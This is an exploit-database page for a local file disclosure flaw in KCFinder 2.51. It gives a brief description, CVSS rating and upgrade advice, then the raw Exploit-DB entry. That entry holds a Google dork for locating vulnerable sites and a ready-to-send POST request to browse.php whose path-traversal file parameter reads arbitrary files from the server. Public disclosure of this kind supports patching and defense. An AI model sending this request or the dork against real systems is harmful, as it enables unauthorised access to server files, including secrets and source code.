header-logo
Suggest Exploit
vendor:
KCFinder
by:
DaOne
7,5
CVSS
HIGH
Local File Disclosure
200
CWE
Product Name: KCFinder
Affected Version From: 2.51
Affected Version To: 2.51
Patch Exists: YES
Related CWE: N/A
CPE: kcfinder
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: None
2020

KCFinder Local File Disclosure

KCFinder is vulnerable to Local File Disclosure vulnerability. An attacker can exploit this vulnerability by sending a specially crafted POST request to the vulnerable application. This will allow the attacker to read any file from the server.

Mitigation:

Upgrade to the latest version of KCFinder and ensure that all the security patches are applied.
Source

Exploit-DB raw data:

---------------------------------------------------
# Exploit Title: KCFinder Local File Disclosure 
# Author: DaOne
# Vendor Homepage: http://kcfinder.sunhater.com/
# Category: webapps/php
# Version: 2.51 + old versions
# Google dork: inurl:kcfinder/browse.php
---------------------------------------------------

[#] Tested on their own demo...

-PoC-
POST http://server/kcfinder/browse.php?type=images&lng=en&act=download HTTP/1.1
Host: server
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 51

dir=images/Photos+from+Bulgaria&file=../../../index.php